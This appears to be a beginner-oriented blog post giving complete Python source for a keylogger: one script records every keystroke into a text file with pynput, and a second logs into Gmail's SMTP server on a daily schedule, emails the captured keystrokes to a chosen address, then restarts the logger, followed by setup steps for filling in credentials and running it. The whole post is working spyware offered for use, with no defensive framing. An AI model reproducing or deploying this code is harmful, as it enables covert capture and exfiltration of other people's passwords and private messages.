Python 3 Advanced Email Keylogger Script Which Sends Keystrokes Logs as Email Using Schedule and Pynput Library Full Project For Beginners

 

Welcome folks today in this blog post we will be making a email keylogger in python which sends keystrokes typed by the user straight as a email using schedule and pynput library. All the full source code of the application is shown below.

 

 

 

Get Started

 

 

 

In order to get started you need to install the below libraries using the pip command as shown below

 

 

pip install schedule

 

pip install pynput

 

After installing this libraries you need to make an keylogger.py file and copy paste the following below code

 

 

keylogger.py

 

 

import pip
#pip.main(['install','pynput'])

from pynput import keyboard
import schedule
import os
from time import strftime,gmtime
import datetime

#mouse=Controller()
def on_press(key):
    print(datetime.datetime.now().strftime("%H:%M:%S"))
    try:
        f=open('output.txt',"a")
        f.write(key.char)
        #schedule.every(1).minutes.do(sendmail)
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))
        #print(keyboard.KeyCode)
        if key==keyboard.Key.space:
            f.write(' ')
        if key==keyboard.Key.enter:
            f.write(os.linesep)
        if key==keyboard.Key.backspace:
            f.seek(-1,os.SEEK_CUR)
            f.write('')

    
    #print("Sent mail")


def on_release(key):
    if int(datetime.datetime.now().strftime("%H")) not in range(8,23):
        return False

    #return False


    

with keyboard.Listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

    

#schedule.every(0.01).minutes.do(sendmail)

 

 

Now make a mail.py file inside the same directory and copy paste the following code

 

 

mail.py

 

 

# Python code to illustrate Sending mail from 
# your Gmail account 
import smtplib
import time
import os
import datetime
import pip
import schedule

f=open('output.txt','w').close()


def sendmail():
# creates SMTP session
    s = smtplib.SMTP('smtp.gmail.com', 587)

    # start TLS for security
    s.starttls()

    # Authentication
    s.login("xyz@email.com", "abc")
    f=open('output.txt','r')

    # message to be sent
    message = "Subject:{0}\n\n{1}".format(datetime.datetime.now().strftime("%d-%m-%y %H:%M:%S"),f.read())
    print(message)

    # sending the mail
    s.sendmail("email@gmail.com", "xyz@gmail.com", message)

    # terminating the session
    s.quit()
    os.system('python keylogger.py')
    f.close()
    f=open('output.txt','w').close()

schedule.every().day.at("11:58").do(sendmail)
while True:
    schedule.run_pending()
    time.sleep(1)

 

 

 

PyLogger

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

Prerequisites

  • Install Python3.x from here.
  • schedule (Can be installed by using pip install schedule)
  • pynput (Can be installed by using pip install pynput)

Installing

  • Clone this repository.
  • Navigate to the directory you have just cloned using the command prompt for Windows or Terminal for Linux/Mac users.
  • Change Email address and password on line 25
  • Change From and To email address on line 33
  • To change time during which mail has to be sent, navigate to mail.py file and change time at line 41
  • Type python mail.py on your Command prompt/Terminal

 

 

OFFICIAL GITHUB REPOSITORY

 

Leave a Reply